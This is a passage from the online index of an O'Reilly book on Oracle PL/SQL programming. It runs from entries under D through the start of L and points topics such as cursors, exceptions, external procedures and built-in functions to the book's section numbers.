4.5. Anchored Declarations
commenting : 3.6.5. Comment Declaration Statements
FOR loop indexes : 1.7.5. Structured Code and Other Best Practices
formatting : 3.1.5. Formatting Your Declarations
forward : 15.9. Forward Declarations
in packages
16.3. The Package Specification
16.4.1. Declare in Specification or Body
of record TYPEs : 9.4.1. Declaring Programmer-Defined Record TYPEs
of records
9.2.1. Declaring Records with the %ROWTYPE Attribute
9.4.2. Declaring the Record
subtype : 4.6.1. Declaring Subtypes
of tables : 10.4. Declaring a PL/SQL Table
unconstrained : 15.6.1. Defining the Parameters
variable : 4.4. Variable Declarations
declaring
collection datatypes : 19.3. Syntax for Declaring Collection Datatypes
cursor variables : 6.12.3. Declaring REF CURSOR Types and Cursor Variables
cursors : 6.4. Declaring Cursors
exceptions raised in declarations : 8.5.3. Exceptions Raised in a Declaration
parameters : 21.4.4. Correct Declaration of Properties
DECODE function
in MAKE_REF funfction : 20.4.2.3. Working around the ORA-22972 problem
DECODE function, replacing with IF : 17.8.4. Replacing DECODEs with IF Statements
default
constructor method : 18.3.1. About Object Types
parameter values
B.2.4. No Default Parameter Values
15.6.5. Default Values
22.7.5. Default Values and Remote Procedure Calls
records : 9.6.2. Record Initialization
values for variables : 4.4.3. Default Values
DEFAULT keyword : 4.4.3. Default Values
DEFINE_ARRAY program : 25.3.4. Take Advantage of DBMS_SQL Batch Processing
DEFINE_COLUMN procedure : C.14.5. The DEFINE_COLUMN procedure
definer rights model : 18.3.7.3. Rights model
DELETE procedure : 10.8.2.2. The DELETE procedure
removing collection elements : 19.4.3.2. Removing elements using DELETE
THE function with : 19.5.1. The THE Pseudo-function
DELETE statement
(see also DML statements)
10.3. PL/SQL Tables and DML Statements
WHERE CURRENT OF clause : 6.11.2. The WHERE CURRENT OF Clause
deleting
collection elements : 19.4.3. Adding and Removing Elements
table rows : 10.8.2.2. The DELETE procedure
deleting tables : 10.7. Clearing the PL/SQL Table
denormalizing program data : 9.7.4. Denormalizing Program Data with Nested Records
dependency management : 23.3. Module Validation and Dependency Management
DEQUEUE procedure : C.3.1.2. The DEQUEUE procedure
DEREF function, virtual REFs and : 20.4.2.4. DEREF: Interpreting a virtual REF
DEREF operator : 18.4.2.4. DEREF
desc command (SQL*Plus), objects and : 18.6.2. SQL*Plus "Describe" Command
Developer/2000 : 18.5.5. Implications for Developer/2000
development
best practices for : 1.7. Best Practices for PL/SQL Excellence
packages for : 1.7.3. Center All Development Around Packages
standarizing environment for : 1.7.4. Standardize Your PL/SQL Development Environment
digits, number of : (see precision)
direct field assignment
9.5. Assigning Values to and from Records
10.6.1. Direct Assignment
directories, creating : 4.2.7.7. Working with BFILEs
directory aliases, BFILENAME functions and : 13.2.1. The BFILENAME function
DISABLE procedure : C.9.1. The DISABLE procedure
disk accompanying this book : A. What's on the Companion Disk?
disk space : (see memory)
DMBS_ALERT package : C.2. DBMS_ALERT
DML
encapsulating in object views : 20.2. INSTEAD OF Triggers
encapsulating in packages : 18.5.4. Approach 4: Use an Object and a PL/SQL Container Package
object privileges and : 18.3.7.2. DML
DML statements : 1.4.4.2. Support for DDL and dynamic SQL
and tables : 10.3. PL/SQL Tables and DML Statements
"do nothing" statement : (see NULL statements)
documentation
with encrypted code : 23.7.3. Impact of Encrypting Code
of parameters : 22.7.1. Document All Parameters and Their Functions
of programming process : 24.2.6. Document and Back Up Your Efforts
documentation, inline : (see comments)
dot notation
B.2.2. No Direct Stored Package Variable References
9.1.2. Accessing Record-Based Data
18.3.4. Dot Notation
with nested records : 9.7.2. Dot Notation with Nested Records
DOUBLE PRECISION subtype : 4.2.2. Numeric Subtypes
DROP command
20.3.2. DROP: Dropping Views and Triggers
21.3.3. DROP: Dropping Libraries
23.5.3. Changing Stored Objects
DROP TYPE statement : 18.3.2. CREATE TYPE and DROP TYPE: Creating and Dropping Types
DROP_QUEUE procdure : C.3.2.5. The DROP_QUEUE procedure
DROP_QUEUE_TABLE procedure : C.3.2.2. The DROP_QUEUE_TABLE procedure
DROP_SNAPSHOT procedure : C.13.1. The DROP_SNAPSHOT procedure
dropping
libraries : 21.3.3. DROP: Dropping Libraries
triggers : 20.3.2. DROP: Dropping Views and Triggers
views : 20.3.2. DROP: Dropping Views and Triggers
dummy programs : 5.2.2.3. Supporting top-down design of modules
DUMP function : 13.3.1. The DUMP function
DUP_VAL_ON_INDEX exception : 8.3.1. Named System Exceptions
dynamic linking : 21.1.2. Architecture
dynamic SQL
C.14. DBMS_SQL
1.4.4.2. Support for DDL and dynamic SQL
6.2.1. Types of Cursors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: E

editing table rows : 10.5. Referencing and Modifying PL/SQL Table Rows
ELSE keyword : (see IF statements)
ELSIF keyword : (see IF statements)
email, sending with external procedures : 21.7.2. Example: Sending Email
embedded PL/SQL : (see stored functions, PL/SQL)
embedding trace calls in programs : 26.5. Quick-and-Dirty Tracing
embedding quotation marks : 2.3.1. Embedding Single Quotes Inside a String
EMPTY_BLOB function : 13.2.2. The EMPTY_BLOB function
EMPTY_CLOB function : 13.2.3. The EMPTY_CLOB function
ENABLE procedure : C.9.2. The ENABLE procedure
encapsulating calculations : 17.8.1. Encapsulating Calculations
encapsulation : 18.1.5.2. Encapsulation
of data structure access : 1.7.2. Synchronize Program and Data Structures
on object views : 20.2.1.1. The "don't use" argument
of persistent objects : 18.2.2.2. DDL usage
enclosed block : (see nested blocks)
encrypting code : 23.7. Encrypting Stored Code
END IF : (see IF statements)
END label
15.4.4. The END Label
15.5.3. The END Label
END LOOP keywords : (see loops)
ENQUEUE procedure : C.3.1.1. The ENQUEUE procedure
Enterprise Manager/Performance Pack product : 25.1. Analyzing Program Performance
entity-relationship (ER) model : 18.1.4.3. Inheritance
environment, user : 13.3.9. The USERENV function
equality, testing objects for : 18.3.6.2. Equality comparisons
ER (entity-relationship) model : 18.1.4.3. Inheritance
ERASE procedure : C.6.4. The ERASE procedure
erasing : (see deleting)
error messages
"attribute expression within SQL expression" : 6.9. Cursor Attributes
"cursor already open"
6.5. Opening Cursors
6.9.4. The %ISOPEN Attribute
"expression is inappropriate" : 6.4.1. The Cursor Name
"fetch out of sequence" : 6.11.1. Releasing Locks with COMMIT
"function returned without value" : 15.5.8.3. No RETURN is executed
"maximum open cursors exceeded" : 6.8.1. Maximum Number of Cursors
"wrong number of values in the INTO list" : 6.6.1. Matching Column List with INTO Clause
SQLERRM function : 13.3.6. The SQLERRM function
"illegal GOTO statement" : 5.2.1.2. Target labels and scope of GOTO
errors
(see also exceptions)
8. Exception Handlers
caused by implicit cursors : 6.3.2.2. Vulnerability to data errors
codes for : (see SQLCODE)
communication from server to client : 8.7. Client-Server Error Communication
handling : 1.4.3.9. Error handling
viewing in SQL*Plus : 23.5.4. Viewing Compilation Errors in SQL*Plus
violation of RESTRICT_REFERENCES pragma : 17.5.1.1. Pragma violation errors
event level, tracing : 26.1.2. Turning On the Trace
EXCEPTION keyword
8.3.2. Named Programmer-Defined Exceptions
8.6. Handling Exceptions
EXCEPTION_INIT pragma : 8.3.3.1. The EXCEPTION_INIT pragma
exceptions
1.4.3.9. Error handling
8. Exception Handlers
for branching logic : 1.7.5. Structured Code and Other Best Practices
continuing once handled : 8.6.4. Continuing Past Exceptions
CURSOR_ALREADY_OPEN : 8.3.1. Named System Exceptions
declaring in packages : 16.3. The Package Specification
DUP_VAL_ON_INDEX : 8.3.1. Named System Exceptions
exception section of code : 8.2. The Exception Section
formatting handlers of : 3.3.3. Formatting Exception Handlers
handler development : 1.7.4. Standardize Your PL/SQL Development Environment
handles for : 8.6. Handling Exceptions
handling : 22.2.3. Avoid Exception Handlers for Normal Program Exits
like IF statement : 8.9. Exception Handler as IF Statement
multiple : 8.6.1. Combining Multiple Exceptions in a Single Handler
structure for : 8.4. Determining Exception-Handling Behavior
tips for : 8.10. RAISE Nothing but Exceptions
INVALID_CURSOR : 8.3.1. Named System Exceptions
INVALID_NUMBER : 8.3.1. Named System Exceptions
LOGIN_DENIED : 8.3.1. Named System Exceptions
NO_DATA_FOUND
8.3.1. Named System Exceptions
8.8. NO_DATA_FOUND: Multipurpose Exception
NOT_LOGGED_ON : 8.3.1. Named System Exceptions
nullifying effect of raised : 5.2.2.2. Nullifying the effect of a raised exception
overlapping names of : 8.4.1.3. Overlapping exception names
as package : 16.3.1.1. A package of exceptions
PROGRAM_ERROR : 8.3.1. Named System Exceptions
programmer-defined
8.3.2. Named Programmer-Defined Exceptions
8.3.4. Unnamed Programmer-Defined Exceptions
propagation of : 8.4.2. Propagation of an Exception
raised within handler : 8.5.4. Exceptions Raised in an Exception Handler
raising
8.5. Raising an Exception
8.10. RAISE Nothing but Exceptions
ROWTYPE_MISMATCH : 6.12.5.2. Handling the ROWTYPE_MISMATCH exception
scope of : 8.4.1. Scope of an Exception
SQLCODE function : 13.3.5. The SQLCODE function
STORAGE_ERROR : 8.3.1. Named System Exceptions
system : 8.3.1. Named System Exceptions
TIMEOUT_ON_RESOURCE : 8.3.1. Named System Exceptions
TOO_MANY_ROWS : 8.3.1. Named System Exceptions
TRANSACTION_BACKED_OUT : 8.3.1. Named System Exceptions
trapping invalid arguments : 22.2.4.1. Trap invalid argument values
types of : 8.3. Types of Exceptions
VALUE_ERROR : 8.3.1. Named System Exceptions
ZERO_DIVIDE : 8.3.1. Named System Exceptions
execute authority
1.3.2. Improved Execution Authority and Transaction Integrity with PL/SQL
23.2. Transaction Integrity and Execute Authority
collections and : 19.8.1. Privileges
packages and : 23.2.1. Execute Authority on Stored Objects
sharing code and : 23.1.4. Key Concepts for Program Execution
on stored objects : 23.2.1. Execute Authority on Stored Objects
EXECUTE command
C.14.6. The EXECUTE function
23.1.1. Executing Procedures
23.5.3. Changing Stored Objects
EXECUTE_AND_FETCH command : C.14.7. The EXECUTE_AND_FETCH function
execution, shared code : 23.1. Executing Stored Code
EXISTS function
10.8.2.3. The EXISTS function
19.6.3. EXISTS(i)
EXIT statement
(see also loops)
7.2.1. Terminating a Simple Loop: EXIT and EXIT WHEN
7.7.2.2. EXIT and EXIT WHEN statements
EXIT WHEN statement
7.2.1. Terminating a Simple Loop: EXIT and EXIT WHEN
7.2.2. Emulating a REPEAT UNTIL Loop
7.7.2.2. EXIT and EXIT WHEN statements
with loop labels : 7.6.1.2. Loop termination using labels
EXIT WHEN statement
(see also loops)
7.2.1. Terminating a Simple Loop: EXIT and EXIT WHEN
exiting loops : 1.7.5. Structured Code and Other Best Practices
EXP function : 13.1.9. The EXP function
EXPLAIN PLAN statement : 25.1. Analyzing Program Performance
explicit
conversion functions : 14. Conversion Functions
cursors
(see also cursors)
1.7.4. Standardize Your PL/SQL Development Environment
6.2.1. Types of Cursors
6.3.3. Explicit Cursors
fetching from
9.5.3. FETCH INTO from an Explicit Cursor 1.7.2. Synchronize Program and Data Structures
explicit datatype conversion : 4.2.8.1. Explicit data conversions
exponents : 13.1.14. The POWER function
EXTEND procedure : 19.6.4. EXTEND [ (n [,i] ) ]
adding collection elements : 19.4.3.1. Adding elements using EXTEND
extensions, filename : (see filenames)
external
LOBs : 1.4.7.6. Large object support
procedures : 1.4.7.5. External procedures
EXTERNAL clause : 21.3.2. EXTERNAL: Creating the PL/SQL Body
external datatypes : 21.4.1. Datatype Conversion
external procedures : 21. External Procedures
architecture of : 21.1.2. Architecture
creating : 21.2. Steps in Creating an External Procedure
data dictionary entries : 21.6.1. Data Dictionary
debugging : 21.6.2. Rules and Warnings About External Procedures
examples : 21.7. Examples
listeners for : 21.2.1. Step 1: Set Up the Listener
mapping parameters : 21.4. Mapping Parameters
OCI routines for : 21.5. OCI Service Routines
syntax : 21.3. Syntax for External Procedures
warnings about : 21.6.2. Rules and Warnings About External Procedures
EXTERNAL_PROCEDURE_LISTENER listener : 21.2.1. Step 1: Set Up the Listener

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: F

FALSE : (see Boolean literals)
FCLOSE procedure : C.17.1.1. The FCLOSE procedure
FCLOSE_ALL procedure : C.17.1.2. The FCLOSE_ALL procedure
FETCH clause, assigning objects : 18.4.1.3. Assignment via FETCH (with SELECT)
FETCH INTO statement : 9.5.3. FETCH INTO from an Explicit Cursor
FETCH statement
(see also cursors)
4.2.3.2. The VARCHAR2 and VARCHAR datatypes
6.2.2. Cursor Operations
6.6. Fetching from Cursors
with cursor variables : 6.12.5. Fetching from Cursor Variables
initializing collections : 19.4.1.3. Initializing implicitly via fetch
FETCH_ROW function : C.14.8. The FETCH_ROWS function
fetching
from cursor variables : 6.12.5. Fetching from Cursor Variables
from cursors : 6.6. Fetching from Cursors
checking status of FETCH : 6.9.1. The %FOUND Attribute
to cursors, multiple times : 6.13.1.2. Using multiple fetches more efficiently
FFLUSH procedure : C.17.1.3. The FFLUSH procedure
fields, record : (see records)
FILECLOSE procedure : C.6.5. The FILECLOSE procedure
FILECLOSEALL procedure : C.6.6. The FILECLOSEALL procedure
FILEEXISTS function : C.6.7. The FILEEXISTS function
FILEGETNAME procedure : C.6.8. The FILEGETNAME procedure
FILEISOPEN function : C.6.9. The FILEISOPEN function
filenames, encrypted file extensions : 23.7.2. Working with Encrypted Code
FILEOPEN procedure : C.6.10. The FILEOPEN procedure
files
encrypted code, size of : 23.7.3. Impact of Encrypting Code
operating system : C.17. UTL_FILE
for package specifications : 1.7.3. Center All Development Around Packages
filtering trace information : 26.2.3. Filtering Trace Information
FIRST function
10.8.2.4. The FIRST function
19.6.5. FIRST, LAST
fixed-point numbers : 4.2.2. Numeric Subtypes
FLOAT subtype : 4.2.2. Numeric Subtypes
floating-point numbers : 4.2.2. Numeric Subtypes
FLOOR function : 13.1.10. The FLOOR function
FM (fill mode) modifier : 14.3.1. FM: Suppressing Blanks and Zeros
FOPEN function : C.17.1.4. The FOPEN function
FOR loops
1.7.1. Write as Little Code as Possible
1.7.5. Structured Code and Other Best Practices
cursor
1.6.4. The cursor FOR loop
7.4. The Cursor FOR Loop
formatting : 3.3.2. Formatting Loops
numeric : 7.3. The Numeric FOR Loop
premature termination of : 7.7.2.1. Premature FOR loop termination
scope of : 7.6.2.1. Scope in FOR loops
FORCE parameter : 18.3.2. CREATE TYPE and DROP TYPE: Creating and Dropping Types
forced compilation : 20.7.3. Forcing Compilation
foreign key
lookups, optimizing in tables : 10.9.5. Optimizing Foreign Key Lookups with PL/SQL Tables
object reference versus : 18.2.3. Adding Complex Data Structures
validating entry of (example) : 6.13.1. Validating Foreign Key Entry with Cursors
formal parameters
15.6.3. Actual and Formal Parameters
naming : 22.1.2. Develop Consistent Naming Conventions for Your Formal Parameters
format
FM and FX modifiers : 14.3.1. FM: Suppressing Blanks and Zeros
models : 14.1. Conversion Formats
RR model : 14.3.3. RR: Changing Millenia
verifying string : 11.2.5. Verifying String Formats with TRANSLATE
FORMAT_CALL_STACK function : C.16.4. The FORMAT_CALL_STACK function
FORMAT_ERROR_STACK function : C.16.5. The FORMAT_ERROR_STACK function
formatting code : 3.1. Fundamentals of Effective Layout
forward declarations : 15.9. Forward Declarations
forward type definitions : 18.3.5.1. Forward type definitions
%FOUND cursor attribute : 6.9.1. The %FOUND Attribute
free format trace filtering : 26.3. Free Format Filtering
functional abstraction : 18.1.5.3. Abstraction
functions
(see also modules)
1.4.3.10. Modular construction
15. Procedures and Functions
15.5. Functions
22.1.1. Make Sure the Module Name Explains the Module
22.2. Build the Most Functional Functions
built-in
1.4.3.5. Built-in functions
1.6.2. Built-in functions
for characters, strings : 11. Character Functions
for collections
built-in : 19.6. Collection Built-Ins
pseudo-functions : 19.5. Collection Pseudo-Functions
collections as return values : 19.2.2.4. Collections as the datatype of a function's return value
conversion : 14. Conversion Functions
date and time : 12. Date Functions
formatting : 3.4. Formatting PL/SQL Blocks
group : 6.13.1.1. Inefficiency of group functions in cursors
headers of : 15.5.5. Function Header
IN OUT and OUT parameters in : 22.2.1.1. Do not use OUT and IN OUT parameters
for LOBs : 13.2. LOB Function Descriptions
local
15.7. Local Modules
22.3. Take Full Advantage of Local Modularization
miscellaneous : 13.3. Miscellaneous Function Descriptions
names for : 1.7.5. Structured Code and Other Best Practices
naming precedence : 17.6. Column/Function Name Precedence
with NULL arguments : 4.3.3. Function Results with NULL Arguments
numeric : 13. Numeric, LOB, and Miscellaneous Functions
overloaded : 15.8.4. Restrictions on Overloading
packaged : 17.5. Calling Packaged Functions in SQL
parameters of : 15.6. Parameters
without : 15.5.4.1. Functions without parameters
PL/SQL, calling in SQL : 25.3.2. Call PL/SQL Functions in SQL to Reduce I/O
records as parameters : 9.1.4. Guidelines for Using Records
RETURN statement : 15.5.8. The RETURN Statement
returned value of : 15.5.2. The RETURN Datatype
returning objects : 18.1.2. Some Simple Examples
returning tables from : 10.8.1.1. Referencing fields of record elements in PL/SQL tables
shared : 23.1.2. Executing Functions
tables as parameters for : 10.5.4. Passing PL/SQL Tables as Parameters
template for : 22.2.2.1. Build a function template
user information : 13.3.7. The UID function
using single RETURN statement : 22.2.2. Use a Single RETURN Statement for Successful Termination
FX (format exact) modifier : 14.3.2. FX: Matching Formats Exactly

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: G

GET_LINE procedure
C.9.3. The GET_LINE procedure
C.17.1.5. The GET_LINE procedure
GET_LINES procedure : C.9.4. The GET_LINES procedure
GET_LOG_AGE procedure : C.13.2. The GET_LOG_AGE procedure
GET_TIME function : C.16.6. The GET_TIME function
GET_TIME Function : 25.1.1. Use the DBMS_UTILITY.GET_TIME Function
GETLENGTH function : C.6.11. The GETLENGTH function
global
data
16.1.4. Object Persistence
16.5.2. Global Within a Single Oracle Session
variables : 22.5.4. Avoid Global Variables and Data Structures
GOTO statements : 5.2.1. The GOTO Statement
inside loop : 7.7.2.4. GOTO statements inside a loop
with NULL statements : 5.2.2.4. Using NULL with GOTO to avoid additional statement execution
greater than (>=) operator : 2.1. The PL/SQL Character Set
GREATEST function : 13.3.2. The GREATEST function
GROUP BY clause
for partial column values : 17.8.5. GROUP BY Partial Column Values
functions in : 17.1. Looking at the Problem
group functions in cursors : 6.13.1.1. Inefficiency of group functions in cursors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: H

handles, object : (see identifiers)
handling exceptions (see exceptions)
headers
function : 15.5.5. Function Header
procedure : 15.4.2. Procedure Header
recognizing encrypted code from : 23.7.3. Impact of Encrypting Code
help, asking for : 24.2.4. Take Breaks and Ask for Help
hexadecimal strings, converting : 14.2.3. The HEXTORAW function
HEXTORAW function : 14.2.3. The HEXTORAW function
hiding information : (see private elements, package)
homogeneity of tables : 10.2. Characteristics of PL/SQL Tables
host variables, references to : 25.4.3.2. Minimize references to host variables
hour : (see date; time)
hyperbolic cosine function : 13.1.8. The COSH function
hyperbolic sine function : 13.1.18. The SINH function
hyperbolic tangent function : 13.1.21. The TANH function

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: I

I/O
I/O-intensive SQL : 25.3.6. Use PL/SQL to Improve Performance of IO-Intensive SQL
reducing by calling PL/SQL in SQL : 25.3.2. Call PL/SQL Functions in SQL to Reduce I/O
identifiers
(see naming)
2.2. Identifiers
15.3.5. Scope and Visibility
precedence in cursors : 6.4.3. Identifier Precedence in a Cursor
qualified : 15.3.5.1. Qualified identifiers
savepoints : (see savepoints)
identity, object : 18.1.4.1. Identity
IF statements : 5.1. Conditional Control Statements
ELSE keyword : 5.1.2. The IF-THEN-ELSE Combination
ELSIF keyword : 5.1.3. The IF-ELSIF Combination
ELSIF statement : 1.7.5. Structured Code and Other Best Practices
exception handlers as : 8.9. Exception Handler as IF Statement
formatting : 3.3.1. Formatting IF Statements
nested : 5.1.4. Nested IF Statements
replacing DECODE function : 17.8.4. Replacing DECODEs with IF Statements
using whitespace in : 3.1.1. Revealing Logical Structure with Indentation
implicit conversion : 14. Conversion Functions
implicit cursors
(see also cursors)
1.7.4. Standardize Your PL/SQL Development Environment
6.2.1. Types of Cursors
6.3.1. Implicit Cursors
6.3.3. Explicit Cursors
attributes to
6.9. Cursor Attributes
6.9.5. Implicit SQL Cursor Attributes
SELECT INTO from : 9.5.2. SELECT INTO from an Implicit Cursor
vulnerability to data errors : 6.3.2.2. Vulnerability to data errors
implicit datatype conversion : 4.2.8.2. Implicit data conversions
IN mode : 15.6.2.1. IN mode
stored functions and : 17.3. Requirements for Stored Functions in SQL
IN OUT parameter : 25.4.3.1. Work with local copies
IN OUT parameters
15.6.2.3. The IN OUT mode
22.7.3. Assign Values to All OUT and IN OUT Parameters
external procedure mappings : 21.4.1. Datatype Conversion
in functions : 22.2.1.1. Do not use OUT and IN OUT parameters
INDICATOR property for : 21.4.3.1. INDICATOR property
IN OUT parameters, function : 1.7.5. Structured Code and Other Best Practices
IN parameters : 25.4.3.1. Work with local copies
index, FOR loop : 1.7.5. Structured Code and Other Best Practices
index, table
(see also tables)
10.2. Characteristics of PL/SQL Tables
10.4.1. Defining the Table TYPE
10.8.1.1. Referencing fields of record elements in PL/SQL tables
index-by tables
(see also collections)
19.1. Types of Collections
25.4.8. Use Index-By Tables of Records and Objects
adding/removing elements of : 19.4.3. Adding and Removing Elements
assigning values to elements : 19.4.2. Assigning Values to Elements: Index (Subscript) Considerations
initializing : 19.4.1. Initializing Collection Variables
indexes, ROWID datatype for : 4.2.3.6. The ROWID datatype
INDICATOR property
21.4.1. Datatype Conversion
21.4.3.1. INDICATOR property
infinite loops : 7.2. The Simple Loop
formatting : 3.3.2. Formatting Loops
WHILE loops : 7.5.1. The Infinite WHILE Loop
information hiding : 18.1.5.1. Information hiding
inheritance
18.1.4.3. Inheritance
modifying persistent objects and : 18.5. Modifying Persistent Objects
INITCAP function : 11.1.4. The INITCAP function
initialization section, package, asserting purity level : 17.5.2. Asserting Purity Level with Package Initialization Section
initializing
BFILE columns : 13.2.1. The BFILENAME function
collection variables : 19.4.1. Initializing Collection Variables
objects : 18.4.1. The Need to Initialize
packages : 16.6. Package Initialization
records : 9.6.2. Record Initialization
inner tables : 19.1. Types of Collections
input, considering case of : 22.7.4. Ensure Case Consistency of Parameters
INSERT statement
(see also DML statements)
4.2.3.2. The VARCHAR2 and VARCHAR datatypes
10.3. PL/SQL Tables and DML Statements
THE function with : 19.5.1. The THE Pseudo-function
instances of classes : 18.1.4.2. Classification
instantiation
of objects : 18.2.2.1. PL/SQL usage
of program data, storage of : 23.1.4. Key Concepts for Program Execution
INSTEAD OF triggers
20.2. INSTEAD OF Triggers
compiling : 20.7.3. Forcing Compilation
INSTR function
C.6.12. The INSTR function
11.1.5. The INSTR function
11.2.4. Counting Substring Occurrences in Strings
INSTRB function : 11.1.5. The INSTR function
instsrv utility (Windows NT) : 21.2.1. Step 1: Set Up the Listener
INTEGER datatype : 25.4.5. Use PLS_INTEGER for All Integer Operations
integers
4.2.1.1. Binary integer datatypes
INT subtype : 4.2.2. Numeric Subtypes
INTEGER subtype : 4.2.2. Numeric Subtypes
operations on, performance of : 25.4.5. Use PLS_INTEGER for All Integer Operations
PLS_INTEGER datatype : 4.2.1.3. The PLS_INTEGER datatype
SMALLINT subtype : 4.2.2. Numeric Subtypes
interdependencies, package : 25.2.4. Creating Packages with Minimal Interdependencies
internal documentation : (see comments)
internal LOBs
1.4.7.6. Large object support
BFILE datatype versus : 4.2.7.7. Working with BFILEs
internationalization, NLS character datatypes : 4.2.6. NLS Character Datatypes
INTERVAL procedure : C.5.3. The INTERVAL procedure
INTO clause
(see also FETCH statement)
6.6.1. Matching Column List with INTO Clause
9.5.2. SELECT INTO from an Implicit Cursor
9.5.3. FETCH INTO from an Explicit Cursor
INVALID_CURSOR exception : 8.3.1. Named System Exceptions
INVALID_NUMBER exception : 8.3.1. Named System Exceptions
invisible characters : (see whitespace)
IS DANGLING predicate : 18.2.3. Adding Complex Data Structures
is-a relationship : (see inheritance)
IS_OPEN function
C.14.9. The IS_OPEN function
C.17.1.6. The IS_OPEN function
IS_PARALLEL_SERVER function : C.16.7. The IS_PARALLEL_SERVER function
IS_ROLE_ENABLED function : C.12.2. The IS_ROLE_ENABLED function
isolation levels : 6.1.4. The SET TRANSACTION Statement
%ISOPEN cursor attribute : 6.9.4. The %ISOPEN Attribute
%ISOPEN cursor attribute : 6.5. Opening Cursors
ISUBMIT procedure : C.5.4. The ISUBMIT procedure
iterative
assignment into rows : 10.6.2. Iterative Assignment
control structure : (see loops)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: J

job scheduling, with DBMS_JOB
C.5. DBMS_ JOB
1.4.5.3. Job scheduling with DBMS_ JOB
Julian dates : (see date)
justifying text : 11.2.3. Filling Text to Fit a Line

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: K

KEEP procedure : 25.2.2. Pin Critical Code into the SGA
keys, object references versus : 18.2.3. Adding Complex Data Structures

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: L

label delimeters (>) : 5.2.1. The GOTO Statement
labels : 5.2.1. The GOTO Statement
delimiters for (>) : 2.1. The PL/SQL Character Set
for loops : 7.6.1. Loop Labels
and loop scope : 7.6.2.2. Scope with labels
labels for blocks : 15.3.6. Block Labels
large objects : (see LOBs)
LAST function
10.8.2. PL/SQL Table Built-ins
10.8.2.5. The LAST function
19.6.5. FIRST, LAST
LAST_DAY function : 12.1.2. The LAST_DAY function
LAST_ERROR_POSITION function : C.14.10. The LAST_ERROR_POSITION function
LAST_ROW_COUNT function : C.14.11. The LAST_ROW_COUNT function
LAST_ROW_ID function : C.14.12. The LAST_ROW_ID function
LAST_SQL_FUNCTION_CODE function : C.14.13. The LAST_SQL_FUNCTION_CODE function
LEAST function : 13.3.3. The LEAST function
LENGTH function : 11.1.6. The LENGTH function
LENGTH property
